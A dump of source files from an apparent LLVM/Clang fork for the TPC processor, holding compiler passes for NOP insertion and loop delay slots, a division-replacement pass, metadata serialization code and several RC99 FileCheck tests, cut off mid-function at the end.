ProcessedBB.push_back(PredMBB);\n\n for (MachineBasicBlock::pred_iterator PI = BEG, PE = END; PI != PE; ++PI) {\n MachineBasicBlock *Pred = *PI;\n MachineBasicBlock *PredBB;\n MachineBasicBlock *SuccBB;\n //DEBUG(dbgs() << \" - checking BB#\" << Pred->getNumber() << \"\\n\");\n\n if (topdown) {\n PredBB = &MBB;\n SuccBB = Pred;\n }\n else {\n PredBB = Pred;\n SuccBB = &MBB;\n }\n \n if (!Pred->empty()) {\n do {\n lat = getRequiredBBDistance(PredBB, SuccBB, ignore_loop_instr);\n NumPreNops = lat - distance;\n\n // Insert NOPs\n if (NumPreNops > 0) {\n // If NOPs needed between loop start and loop body then it is better\n // to insert them before the LOOP instr so that the body isn't impacted.\n if (isStartLoopBlock(*PredBB)) {\n if (!check_only) {\n LLVM_DEBUG(dbgs() << \" NOP(\" << NumPreNops << \") inserted at end of BB#\" << PredBB->getNumber() << \"\\n\");\n for (int j = 0; j < NumPreNops; ++j) {\n TII->insertNoop(*PredBB, --(PredBB->end()));\n }\n } else {\n LLVM_DEBUG(dbgs() << \" NOP(\" << NumPreNops << \") would be inserted at end of BB#\" << PredBB->getNumber() << \"\\n\");\n }\n } else {\n if (!check_only) {\n LLVM_DEBUG(dbgs() << \" NOP(\" << NumPreNops << \") inserted at BB#\" << SuccBB->getNumber() << \" start\\n\");\n for (int j = 0; j < NumPreNops; ++j) {\n TII->insertNoop(*SuccBB, SuccBB->front());\n }\n } else {\n LLVM_DEBUG(dbgs() << \" NOP(\" << NumPreNops << \") would be inserted at BB#\" << SuccBB->getNumber() << \" start\\n\");\n }\n }\n changed = true;\n }\n } while (NumPreNops > 0 && !check_only);\n }\n if (deep) {\n NumCycles = distance + getBBCycles(Pred, &MBB, ignore_loop_instr);\n if (NumCycles < TPC_MAX_LATENCY) {\n //DEBUG(dbgs() << \" - small BB#\" << Pred->getNumber() << \"(\"<< NumCycles << \")\\n\");\n bool alreadyProcessed = false;\n for (auto BB : ProcessedBB) {\n if (BB->getNumber() == Pred->getNumber()) {\n alreadyProcessed = true;\n break;\n }\n }\n if (!alreadyProcessed) {\n changed |= resolveCrossBlockLatency(MBB, Pred, topdown, deep, NumCycles, check_only, ignore_loop_instr, ProcessedBB);\n }\n }\n }\n }\n return changed;\n}\n\n//\n// resolveCrossBlockLatency: resolve latencies between current block and its predecessors.\n// Inserts NOPs at the beginnig of current block.\n//\nbool TPCLatencyResolver::resolveCrossBlockLatency(MachineBasicBlock& MBB,\n bool topdown,\n bool deep,\n bool check_only,\n bool ignore_loop_instr)\n{\n std::vector<const MachineBasicBlock*> ProcessedBB;\n\n LLVM_DEBUG(dbgs() << \"Resolve Cross Block latencies for BB#\" << MBB.getNumber() << \"\\n\");\n\n return resolveCrossBlockLatency(MBB, &MBB, topdown, deep, 0, check_only, ignore_loop_instr, ProcessedBB);\n}\n\n//\n// Restriction: JMPA and JMPR destinations must be at least three instructions before\n// the last instruction pointed to by PC_OFFSSET.\n//\nvoid TPCLatencyResolver::ensureLoopEndAndJmpLatency(MachineBasicBlock& MBB)\n{\n MachineBasicBlock::iterator BegBB = MBB.begin();\n MachineBasicBlock::iterator EndBB = MBB.end();\n MachineBasicBlock* JmpDestBB = nullptr;\n unsigned destBlkSize = 0;\n unsigned pcNum = 0;\n\n LLVM_DEBUG(dbgs() << \" *** Fixing loop end and jmp (BB_\" << MBB.getNumber() << \")\\n\");\n\n for (MachineBasicBlock::iterator I = BegBB, E = EndBB; I != E;) {\n MachineInstr &MI = *I;\n\n if (isJmpInstr(&MI)) {\n // Found a JMP - get the destination block of that JMP\n JmpDestBB = getJmpDest(&MI);\n assert(JmpDestBB && \"NULL destination for JMP.\");\n LLVM_DEBUG(dbgs() << \" - JMP to BB_\" << JmpDestBB->getNumber() << \"\\n\");\n destBlkSize = 0;\n // Calculate the number of instructions in the dest block\n if (!JmpDestBB->empty()) {\n for (MachineBasicBlock::iterator J = JmpDestBB->begin(), JBE = JmpDestBB->end(); J != JBE;) {\n destBlkSize++;\n MachineInstr &bMI = *J;\n if (bMI.getOpcode() == TPC::LOOPEND) {\n LLVM_DEBUG(dbgs() << \" * LOOPEND at(\" << destBlkSize << \") in BB_\" << JmpDestBB->getNumber() << \"\\n\");\n destBlkSize--;\n if (destBlkSize < 4) {\n int pnops = 4 - destBlkSize;\n for (int i=0; i<pnops; i++) {\n TII->insertNoop(*JmpDestBB, MachineBasicBlock::iterator(bMI));\n destBlkSize++;\n }\n LLVM_DEBUG(dbgs() << \" NOP(\" << pnops << \") inserted in BB#\" << JmpDestBB->getNumber() << \" (JMP)\\n\");\n break;\n }\n }\n ++J;\n }\n }\n LLVM_DEBUG(dbgs() << \" - InstNum(\" << destBlkSize << \") in BB_\" << JmpDestBB->getNumber() << \"\\n\");\n // If the number of instructions in the dest block > 3 then we have enough distance for\n // any LOOPEND in subsequent blocks.\n if (destBlkSize > 3) {\n ++I;\n continue;\n }\n // Look for the next block after the JMP dest, and check if there is a LOOPEND there.\n MachineBasicBlock* JmpDestNextBB;\n MachineFunction::iterator mbbit(JmpDestBB);\n if (++mbbit == MF->end()) {\n JmpDestNextBB = nullptr;\n LLVM_DEBUG(dbgs() << \" * next BB_\" << \"NULL\" << \"\\n\");\n }\n else {\n JmpDestNextBB = &*mbbit;\n LLVM_DEBUG(dbgs() << \" * next BB_\" << JmpDestNextBB->getNumber() << \"\\n\");\n }\n if (JmpDestNextBB) {\n pcNum = 0;\n for (MachineBasicBlock::iterator J = JmpDestNextBB->begin(), JBE = JmpDestNextBB->end(); J != JBE;) {\n MachineInstr &nMI = *J;\n pcNum++;\n if (nMI.getOpcode() == TPC::LOOPEND) {\n LLVM_DEBUG(dbgs() << \" * LOOPEND at(\" << pcNum << \") in BB_\" << JmpDestNextBB->getNumber() << \"\\n\");\n if ((destBlkSize + pcNum - 2) < 3) {\n int pnops = 5 - destBlkSize - pcNum;\n for (int i=0; i<pnops; i++) {\n TII->insertNoop(*JmpDestBB, JmpDestBB->end());\n }\n LLVM_DEBUG(dbgs() << \" NOP(\" << pnops << \") inserted at end of BB#\" << JmpDestBB->getNumber() << \" (JMP)\\n\");\n }\n }\n ++J;\n }\n }\n }\n ++I;\n }\n}\n\nvoid TPCLatencyResolver::fixSmallLoops(MachineBasicBlock& MBB) {\n MachineBasicBlock::iterator BegBB = MBB.begin();\n MachineBasicBlock::iterator EndBB = MBB.end();\n unsigned InstrNum = 0;\n\n MachineLoop * L = MLI->getLoopFor(&MBB);\n\n if (!L) return;\n\n if (L->isLoopLatch(&MBB)) {\n MachineBasicBlock * header = L->getHeader();\n assert(header);\n\n if (header->getNumber() != MBB.getNumber()) {\n return;\n }\n\n LLVM_DEBUG(dbgs() << \"Fixing loop instr count in BB#\" << MBB.getNumber() << \"\\n\");\n\n // Loop over last 8 instructions in current block\n //\n for (MachineBasicBlock::iterator I = BegBB, E = EndBB; I != E;) {\n if (InstrNum > 8) {\n break;\n }\n MachineInstr &MI = *I;\n if (ignoreInstr(&MI)) {\n ++I;\n continue;\n }\n InstrNum++;\n\n if (MI.getOpcode() == TPC::LOOPEND && InstrNum < 8) {\n int pnops = 7 - InstrNum;\n for (int i=0; i<pnops; i++) {\n TII->insertNoop(MBB, MachineBasicBlock::iterator(MI));\n }\n LLVM_DEBUG(dbgs() << \" NOP(\" << pnops << \") inserted at end of BB#\" << MBB.getNumber() << \" (small loop)\\n\");\n break;\n }\n ++I;\n }\n }\n}\n\nstatic MachineBasicBlock *GetNextNonEmptyMBB(const MachineBasicBlock &MBB) {\n MachineBasicBlock *NextMBB = nullptr;\n for (MachineBasicBlock *Next : MBB.successors()) {\n if (Next && MBB.isLayoutSuccessor(Next)) {\n NextMBB = Next;\n break;\n }\n }\n\n if (!NextMBB)\n return NextMBB;\n else if (!NextMBB->empty())\n return NextMBB;\n else\n return GetNextNonEmptyMBB(*NextMBB);\n}\n\nvoid TPCLatencyResolver::fillLoopDelaySlot(MachineBasicBlock& MBB) {\n MachineInstr * LoopMI = nullptr;\n MachineInstr * CandMI = nullptr;\n MachineBasicBlock::iterator LI;\n MachineBasicBlock::const_instr_iterator MII;\n\n \n for (MachineBasicBlock::iterator I = MBB.end(), E = MBB.begin(); I != E;) {\n --I;\n MachineInstr &MI = *I;\n \n if (TPCII::isLoopInst(MI.getDesc()) && (MI.getOpcode() != TPC::LOOPEND)) {\n LLVM_DEBUG(dbgs() << \"Filling Loop Delay Slot in BB#\" << MBB.getNumber() << \"\\n\");\n LoopMI = &*I;\n if (I != MBB.begin()) {\n --I;\n CandMI = &*I;\n if (isNopInstr(CandMI)) {\n CandMI = nullptr;\n break;\n }\n LI = I;\n LLVM_DEBUG(dbgs() << \" Candidate:\\n\"; printMI(CandMI));\n }\n }\n }\n if (!LoopMI) {\n return;\n }\n if (DisableDelaySlotUtilization) {\n CandMI = nullptr;\n }\n\n if (!CandMI) {\n goto fill_delay_slot;\n }\n \n\n // LOOP delay slot can't contain a JMP* or a LOOP* instructions\n //\n if (TPCII::isLoopInst(CandMI->getDesc()) || isJmpInstr(CandMI)) {\n CandMI = nullptr;\n goto fill_delay_slot;\n }\n\n MII = CandMI->getIterator();\n for (++MII; MII != MBB.instr_end() && MII->isInsideBundle(); ++MII) {\n // PRM 0.9992 LOOP delay slot isn't allowed to contain LD_G/LD_L to SPRF.\n //\n if (MF->getSubtarget<TPCSubtarget>().hasGoyaISA()) {\n if (MII->getOpcode() == TPC::LD_Lpsp ||\n MII->getOpcode() == TPC::LD_Lpip) {\n CandMI = nullptr;\n goto fill_delay_slot;\n }\n if (MII->getOpcode() == TPC::LD_Gpap) {\n CandMI = nullptr;\n goto fill_delay_slot;\n }\n }\n\n if (!CandMI) {\n goto fill_delay_slot;\n }\n }\n\n // Check that candidate does not define any reg used in LOOP inst\n //\n for (unsigned i = 0, e = CandMI->getNumOperands(); i != e; ++i) {\n const MachineOperand &MO = CandMI->getOperand(i);\n if (!MO.isReg()) continue;\n unsigned DR = MO.getReg();\n for (unsigned j = 0, e = LoopMI->getNumOperands(); j != e; ++j) {\n const MachineOperand &MO1 = LoopMI->getOperand(j);\n if (!MO1.isReg()) continue;\n unsigned UR = MO1.getReg();\n if (UR == DR ||\n TRI->isSubRegister(DR, UR) ||\n TRI->isSubRegister(UR, DR)) {\n LLVM_DEBUG(dbgs() << \" Candidate defines regs used in LOOP instr\\n\");\n CandMI = nullptr;\n goto fill_delay_slot;\n }\n }\n }\n\n if (resolveBlockLatency(MBB, true, true)) {\n CandMI = nullptr;\n goto fill_delay_slot;\n }\n if (resolveCrossBlockLatency(MBB, true, true, true, true)) {\n CandMI = nullptr;\n goto fill_delay_slot;\n }\n if (resolveCrossBlockLatency(MBB, false, true, true, true)) {\n CandMI = nullptr;\n goto fill_delay_slot;\n }\n\nfill_delay_slot:\n if (!CandMI) {\n // Fill delay slot with a NOP\n //\n LLVM_DEBUG(dbgs() << \" NOP(\" << 1 << \") after: \" << *LoopMI);\n LLVM_DEBUG(dbgs() << \" (LOOP delay slot)\\n\");\n TII->insertNoop(MBB, MBB.end());\n }\n else {\n // Moving the candidate into delay slot\n //\n LLVM_DEBUG(dbgs() << \" OK to use MI in delay slot:\\n\"; printMI(CandMI));\n MBB.splice(MBB.end(), &MBB, LI);\n }\n}\n\nvoid TPCLatencyResolver::insertDebugNops(MachineBasicBlock& MBB, int numPreNops) {\n MachineBasicBlock::iterator BegBB = MBB.begin();\n MachineBasicBlock::iterator EndBB = MBB.end();\n\n if (numPreNops == 0) {\n return;\n }\n LLVM_DEBUG(dbgs() << \"Insert debug NOPs in BB#\" << MBB.getNumber() << \"\\n\");\n\n for (MachineBasicBlock::iterator I = BegBB, E = EndBB; I != E;) {\n MachineInstr &MI = *I;\n ++I;\n if (!MI.isPseudo() || TPCII::isLoopInst(MI.getDesc())) {\n for (int j = 0; j < numPreNops; ++j) {\n TII->insertNoop(MBB, MachineBasicBlock::iterator(MI));\n }\n }\n\n //\n // Make sure there are 3 NOPs after HALT instruction\n // PRM 0.9992: After HALT, 3 VLIW instructions which are NOPs should appear\n //\n if (isHaltInstr(&MI)) {\n TII->insertNoop(MBB, MBB.end());\n TII->insertNoop(MBB, MBB.end());\n TII->insertNoop(MBB, MBB.end());\n }\n }\n}\n" }, { "alpha_fraction": 0.5186335444450378, "alphanum_fraction": 0.6149068474769592, "avg_line_length": 39.375, "blob_id": "ed433239d19111ff0e3b025461fc7ee9b4c95882", "content_id": "2fa67e7ab33ee57d507204b9bc31acba4beb718f", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 322, "license_type": "permissive", "max_line_length": 104, "num_lines": 8, "path": "/clang/test/RC99/tensor/tensor-46.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -emit-llvm -O1 -tpc-special %s -o - | FileCheck %s\n\nvoid main(int dest) {\n unsigned __local *ptr = (unsigned __local *)dest;\n set_dim_stride(15, 2, *ptr);\n}\n// 0x8a0 == 2208 \n// CHECK: call void @llvm.tpc.st.l.i32(i32 2208, i32 %{{[0-9]+}}, i32 1, i1 true, i1 false)" }, { "alpha_fraction": 0.5269461274147034, "alphanum_fraction": 0.57485032081604, "avg_line_length": 34.157894134521484, "blob_id": "5e832dd307c62ebdb602783a07c6013a8f251cd8", "content_id": "ebb5f8025fcbd551623d76b82bbeeb9b702ef143", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 668, "license_type": "permissive", "max_line_length": 78, "num_lines": 19, "path": "/clang/test/RC99/IntrinsicsM/s_u32_udiv_step_s-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int dest, int src, unsigned divisor) {\n uint32_t_pair_t __local *sptr = (uint32_t_pair_t __local *) src;\n unsigned __local *dptr = (unsigned __local *) dest;\n uint32_t_pair_t quot_rem = *sptr;\n quot_rem = s_u32_udiv_step_s(quot_rem, divisor, 5);\n dptr[0] = quot_rem.v1;\n dptr[1] = quot_rem.v2;\n}\n\n// load dividend and remainder to a register pair\n// CHECK-DAG: ld_l %S[[ZN:[0-9]+]], %S1\n// CHECK-DAG: ld_l %S[[ZNN:[0-9]+]], %S{{[0-9]+}}\n\n// CHECK: udiv_step.u32 0x5 %Z[[ZN]], %S2, %SP0\n\n// CHECK-DAG: st_l %S0, %S[[ZN]]\n// CHECK-DAG: st_l %S{{[0-9]+}}, %S[[ZNN]]\n" }, { "alpha_fraction": 0.5255101919174194, "alphanum_fraction": 0.6513605713844299, "avg_line_length": 48, "blob_id": "043dde909599a1256d0710e6b9ca6e7029b85910", "content_id": "4c3b903d444b456cd99f1175d4d4748530a9e702", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 588, "license_type": "permissive", "max_line_length": 149, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_uint128_to_bfloat128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n uint128 *sptr = (uint128 *)src;\n bfloat128 *dptr = (bfloat128 *)dest;\n uint128 src_val = *sptr;\n *dptr++ = convert_uint128_to_bfloat128(src_val, 0);\n *dptr = convert_uint128_to_bfloat128(src_val, SW_RD);\n}\n\n// CHECK-IR: uitofp <128 x i32> {{.*}} to <128 x bfloat>\n// CHECK-IR: call <128 x bfloat> @llvm.tpc.convert.v128bf16.v128i32.i1(<128 x i32> {{.*}}, i8 3, i32 196864, <128 x bfloat> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.6299999952316284, "alphanum_fraction": 0.631538450717926, "avg_line_length": 29.05202293395996, "blob_id": "86e38aab12dff832a78488efb47862a1e3ca0400", "content_id": "2b37ff957fbcfd1269ebd43b2bd7f5d96ce0fa7b", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5200, "license_type": "permissive", "max_line_length": 80, "num_lines": 173, "path": "/llvm/lib/Target/TPC/NodePreLegalizer.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- NodePreLegalizer.cpp - replaces unsupported nodes ------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass replaces unsupported nodes (like DIV, REM) with library function\n// calls.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/PassRegistry.h\"\n#include <set>\nusing namespace llvm;\n\nstatic Function *findFunction(Module &M, StringRef FName) {\n for (Function &F : M.functions()) {\n if (!F.isDeclaration() && F.getName() == FName)\n return &F;\n }\n return nullptr;\n}\n\nstatic void replaceNodeWithFunctionCall(Instruction &I, Function *F) {\n IRBuilder<> Builder(&I);\n // For now only binary operators are processed.\n assert(I.getNumOperands() == 2);\n Instruction *Call = Builder.CreateCall(F, { I.getOperand(0),\n I.getOperand(1) });\n assert(Call->getType() == I.getType());\n I.replaceAllUsesWith(Call);\n}\n\nnamespace {\nstruct NodePreLegalizer : public FunctionPass {\n static char ID; // Pass identification, replacement for typeid\n\n Function *FDivFunc;\n Function *FRemFunc;\n Function *UDivFunc;\n Function *URemFunc;\n Function *SDivFunc;\n Function *SRemFunc;\n\n NodePreLegalizer()\n : FunctionPass(ID),\n FDivFunc(nullptr),\n FRemFunc(nullptr),\n UDivFunc(nullptr),\n URemFunc(nullptr),\n SDivFunc(nullptr),\n SRemFunc(nullptr) {}\n\n bool doInitialization(Module &M) override {\n // Find functions implementing replaced binary operators.\n FDivFunc = findFunction(M, \"__fdiv\");\n FRemFunc = findFunction(M, \"__frem\");\n UDivFunc = findFunction(M, \"__udiv\");\n URemFunc = findFunction(M, \"__urem\");\n SDivFunc = findFunction(M, \"__sdiv\");\n SRemFunc = findFunction(M, \"__srem\");\n\n if (FDivFunc)\n FDivFunc->setUnnamedAddr(GlobalValue::UnnamedAddr::Local);\n if (FRemFunc)\n FRemFunc->setUnnamedAddr(GlobalValue::UnnamedAddr::Local);\n if (UDivFunc)\n UDivFunc->setUnnamedAddr(GlobalValue::UnnamedAddr::Local);\n if (URemFunc)\n URemFunc->setUnnamedAddr(GlobalValue::UnnamedAddr::Local);\n if (SDivFunc)\n SDivFunc->setUnnamedAddr(GlobalValue::UnnamedAddr::Local);\n if (SRemFunc)\n SRemFunc->setUnnamedAddr(GlobalValue::UnnamedAddr::Local);\n\n return false;\n }\n\n bool replaceDivisions(Instruction &I) {\n switch (I.getOpcode()) {\n case Instruction::FDiv:\n if (!FDivFunc)\n report_fatal_error(\"__fdiv is not defined\");\n replaceNodeWithFunctionCall(I, FDivFunc);\n return true;\n case Instruction::FRem:\n if (!FRemFunc)\n report_fatal_error(\"__frem is not defined\");\n replaceNodeWithFunctionCall(I, FRemFunc);\n return true;\n case Instruction::UDiv:\n if (!UDivFunc)\n report_fatal_error(\"__udiv is not defined\");\n replaceNodeWithFunctionCall(I, UDivFunc);\n return true;\n case Instruction::URem:\n if (!URemFunc)\n report_fatal_error(\"__urem is not defined\");\n replaceNodeWithFunctionCall(I, URemFunc);\n return true;\n case Instruction::SDiv:\n if (!SDivFunc)\n report_fatal_error(\"__sdiv is not defined\");\n replaceNodeWithFunctionCall(I, SDivFunc);\n return true;\n case Instruction::SRem:\n if (!SRemFunc)\n report_fatal_error(\"__srem is not defined\");\n replaceNodeWithFunctionCall(I, SRemFunc);\n return true;\n }\n return false;\n }\n\n bool runOnFunction(Function &F) override {\n if (skipFunction(F))\n return false;\n\n bool Changed = false;\n\n // Initialize the worklist to all of the instructions ready to process.\n std::set<Instruction*> WorkList;\n for (Instruction &I : instructions(&F))\n WorkList.insert(&I);\n\n while (!WorkList.empty()) {\n Instruction *I = *WorkList.begin();\n WorkList.erase(WorkList.begin());\n if (!I->use_empty()) {\n // Do not replace division operations with function calls, as we do not\n // have those functions.\n// if (replaceDivisions(*I)) {\n// Changed = true;\n// }\n }\n }\n\n return Changed;\n }\n\n bool doFinalization(Module &M) override {\n for (Function &F : M.functions()) {\n if (F.getName().startswith(\"__\")) {\n if (!F.hasFnAttribute(Attribute::AlwaysInline))\n F.addFnAttr(Attribute::AlwaysInline);\n F.setLinkage(GlobalValue::LinkageTypes::AvailableExternallyLinkage);\n }\n }\n return false;\n }\n\n StringRef getPassName() const override {\n return \"Unsupported Node Replacement\";\n }\n};\n}\n\nchar NodePreLegalizer::ID = 0;\nINITIALIZE_PASS(NodePreLegalizer, \"nodeprelegal\",\n \"Unsupported Node Replacement\", false, false)\n\nFunctionPass *llvm::createNodePreLegalizer() {\n return new NodePreLegalizer();\n}\n\n" }, { "alpha_fraction": 0.6158424019813538, "alphanum_fraction": 0.6276613473892212, "avg_line_length": 33.183380126953125, "blob_id": "0c194055aa93ba3a65049edf8daca26897535996", "content_id": "5d0aa3b96008904e9a5d461151e448f3e58ffbba", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11930, "license_type": "permissive", "max_line_length": 84, "num_lines": 349, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCMetadataSection.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCMetadataSection.cpp - TPC Specific header -------------*- C++ -*-===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file declares a TPC specific data. This info usages for write\n// .TPC_METADATA section.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/Support/FormatVariadic.h\"\n#include \"llvm/Target/TPCMetadataSection.h\"\n\n\nconst int VersionLength = 4;\n\nusing namespace llvm;\n\ncl::opt<bool> llvm::TPCElfMemcpy(\n \"tpc-elf-spec-bin\", cl::init(false), cl::Hidden,\n cl::desc(\"Serialize TPC Metadata in binary format\"));\n\ntemplate<typename T>\nstatic inline void FromUint8Array(const uint8_t *Array, size_t Length, T &Data) {\n std::size_t SizeType = sizeof(T);\n Data &= 0 ;\n for (std::size_t i = 0; i < (SizeType < Length ? SizeType : Length); ++i) {\n Data |= (*Array << 8 * (i));\n ++Array;\n }\n}\n\nstatic inline void ToUint8Array(long Number, int length, uint8_t *&ptr) {\n for (std::size_t i = 0; i < length; ++i) {\n uint8_t val = (Number >> 8 * i & 0xFF);\n *ptr = val;\n ++ptr;\n }\n}\n\nstd::vector<uint8_t>\nllvm::bianrySerializeTPCProgramHeader(const llvm::TPCMetadataSection &Header) {\n assert(Header.version <= TPCMetadataVersion);\n int val = 0;\n std::vector<uint8_t> Data(TPCMetadataSectionSize, 0);\n uint8_t *bufTemp = Data.data();\n ToUint8Array(Header.version, TPCMetadataFieldsInfo[0].elementSize, bufTemp);\n if (Header.version >= 3) {\n ToUint8Array(Header.specialFunctionUsed,\n TPCMetadataFieldsInfo[1].elementSize, bufTemp);\n ToUint8Array(Header.printfUsed, TPCMetadataFieldsInfo[2].elementSize,\n bufTemp);\n ToUint8Array(Header.lockUnLock, TPCMetadataFieldsInfo[3].elementSize,\n bufTemp);\n\n if (Header.version >= 6)\n ToUint8Array(Header.mmioUsed, TPCMetadataFieldsInfo[8].elementSize,\n bufTemp);\n else\n ToUint8Array(0, TPCMetadataFieldsInfo[8].elementSize, bufTemp);\n\n if (Header.version >= 5)\n ToUint8Array(Header.march, TPCMetadataFieldsInfo[6].elementSize, bufTemp);\n else\n ToUint8Array(0, TPCMetadataFieldsInfo[6].elementSize, bufTemp);\n\n ToUint8Array(0, 2, bufTemp);\n if (Header.version >= 8) {\n ToUint8Array(Header.paramsNum, TPCMetadataFieldsInfo[9].elementSize,\n bufTemp);\n } else\n ToUint8Array(0, TPCMetadataFieldsInfo[9].elementSize,\n bufTemp);\n\n if (Header.version >= 9) {\n ToUint8Array(Header.printfTensorID, TPCMetadataFieldsInfo[10].elementSize,\n bufTemp);\n } else\n ToUint8Array(0, TPCMetadataFieldsInfo[10].elementSize,\n bufTemp);\n\n ToUint8Array(0, sizeof(Header.reservedTemp), bufTemp);\n\n for (unsigned i = 0; i < TPCNumTensors; ++i) {\n val += ((int)Header.scalarLd[i] << i);\n }\n ToUint8Array(val, 2, bufTemp);\n }\n if (Header.version >= 4) {\n val = 0;\n for (unsigned i = 0; i < TPCNumTensors; ++i) {\n val += Header.rmwStore[i] << i;\n }\n ToUint8Array(val, 2, bufTemp);\n }\n // Write reserved\n ToUint8Array(0, sizeof(Header.reserved), bufTemp);\n return Data;\n}\n\nTPCMetadataSection llvm::stringDeserializeTPCProgramHeader(\n const llvm::StringRef& String) {\n\n TPCMetadataSection Header;\n int CurrentPos = 0;\n\n // Parse version\n String.substr(CurrentPos, VersionLength).getAsInteger(10, Header.version);\n CurrentPos += VersionLength;\n\n for(const TPCMetadataFieldInfo *Cur = &TPCMetadataFieldsInfo[1];\n Cur != std::end(TPCMetadataFieldsInfo); ++Cur) {\n if (Cur->startWithVersion > Header.version)\n continue;\n\n if(!Cur->isArray()) {\n StringRef StringValue = String.substr(Cur->offset, Cur->elementSize);\n if (StringRef(Cur->fieldName).compare_lower(TPCSpecialFunctionUsedName) == 0)\n StringValue.getAsInteger(10, Header.specialFunctionUsed);\n else if (StringRef(Cur->fieldName).compare_lower(TPCPrintfUsedName) == 0)\n StringValue.getAsInteger(10, Header.printfUsed);\n else if (StringRef(Cur->fieldName).compare_lower(TPCLockUnLockName) == 0)\n StringValue.getAsInteger(10, Header.lockUnLock);\n else if (StringRef(Cur->fieldName).compare_lower(TPCMarchName) == 0)\n StringValue.getAsInteger(10, Header.march);\n else if (StringRef(Cur->fieldName).compare_lower(TPCMMIOName) == 0)\n StringValue.getAsInteger(10, Header.mmioUsed);\n else\n llvm_unreachable(TPCUnhandledMetadataField);\n\n } else {\n if (StringRef(Cur->fieldName).compare_lower(TPCScalarLdName) == 0) {\n for (unsigned i = 0; i < Cur->length; ++i) {\n StringRef StringValue = String.substr(Cur->offset+i, Cur->elementSize);\n StringValue.getAsInteger(10, Header.scalarLd[i]);\n }\n } else if (StringRef(Cur->fieldName).compare_lower(TPCRMWStoreName) == 0) {\n for (unsigned i = 0; i < Cur->length; ++i) {\n StringRef StringValue = String.substr(Cur->offset+i, Cur->elementSize);\n StringValue.getAsInteger(10, Header.rmwStore[i]);\n CurrentPos += Cur->elementSize;\n }\n } else\n llvm_unreachable(TPCUnhandledMetadataField);\n }\n }\n\n return Header;\n}\n\n\nTPCMetadataSection llvm::binaryDeserializeTPCProgramHeader(\n const std::vector<uint8_t> &Data) {\n assert(Data.size() == TPCMetadataSectionSize);\n\n const uint8_t *CurPos = Data.data();\n unsigned RestLength = TPCMetadataSectionSize;\n\n TPCMetadataSection Header;\n\n if (Header.version >= 5) {\n FromUint8Array(CurPos, RestLength, Header.version);\n CurPos += sizeof(Header.version);\n RestLength -= sizeof(Header.version);\n\n FromUint8Array(CurPos, RestLength, Header.specialFunctionUsed);\n CurPos += sizeof(Header.specialFunctionUsed);\n RestLength -= sizeof(Header.specialFunctionUsed);\n\n FromUint8Array(CurPos, RestLength, Header.printfUsed);\n CurPos += sizeof(Header.printfUsed);\n RestLength -= sizeof(Header.printfUsed);\n\n FromUint8Array(CurPos, RestLength, Header.lockUnLock);\n CurPos += sizeof(Header.lockUnLock);\n RestLength -= sizeof(Header.lockUnLock);\n\n FromUint8Array(CurPos, RestLength, Header.mmioUsed);\n CurPos += sizeof(Header.mmioUsed);\n RestLength -= sizeof(Header.mmioUsed);\n\n FromUint8Array(CurPos, RestLength, Header.march);\n CurPos += sizeof(Header.march);\n RestLength -= sizeof(Header.march);\n\n CurPos += 2;\n RestLength -= 2;\n\n FromUint8Array(CurPos, RestLength, Header.paramsNum);\n CurPos += sizeof(Header.paramsNum);\n RestLength -= sizeof(Header.paramsNum);\n\n FromUint8Array(CurPos, RestLength, Header.printfTensorID);\n CurPos += sizeof(Header.printfTensorID);\n RestLength -= sizeof(Header.printfTensorID);\n\n CurPos += sizeof(Header.reservedTemp);\n RestLength -= sizeof(Header.reservedTemp);\n\n unsigned short temp = 0;\n FromUint8Array(CurPos, RestLength, temp);\n CurPos += 2; // The size of the scalarLd in the tpc_metadata(elfapi) struct is 2\n RestLength -= 2;\n for (unsigned i = 0; i < TPCNumTensors; ++i) {\n Header.scalarLd[i] = (temp >> i) & 0x1;\n }\n temp = 0;\n FromUint8Array(CurPos, RestLength, temp);\n CurPos += 2; // The size of the scalarLd in the tpc_metadata(elfapi) struct is 2\n RestLength -= 2;\n for (unsigned i = 0; i < TPCNumTensors; ++i) {\n Header.rmwStore[i] = temp >> i & 0x1;\n }\n }\n\n return Header;\n}\n\nbool llvm::setTpcMetadataValue(int64_t Value,\n const TPCMetadataFieldInfo &FieldInfo,\n TPCMetadataSection &Result,\n std::string &ErrorMessage) {\n\n if 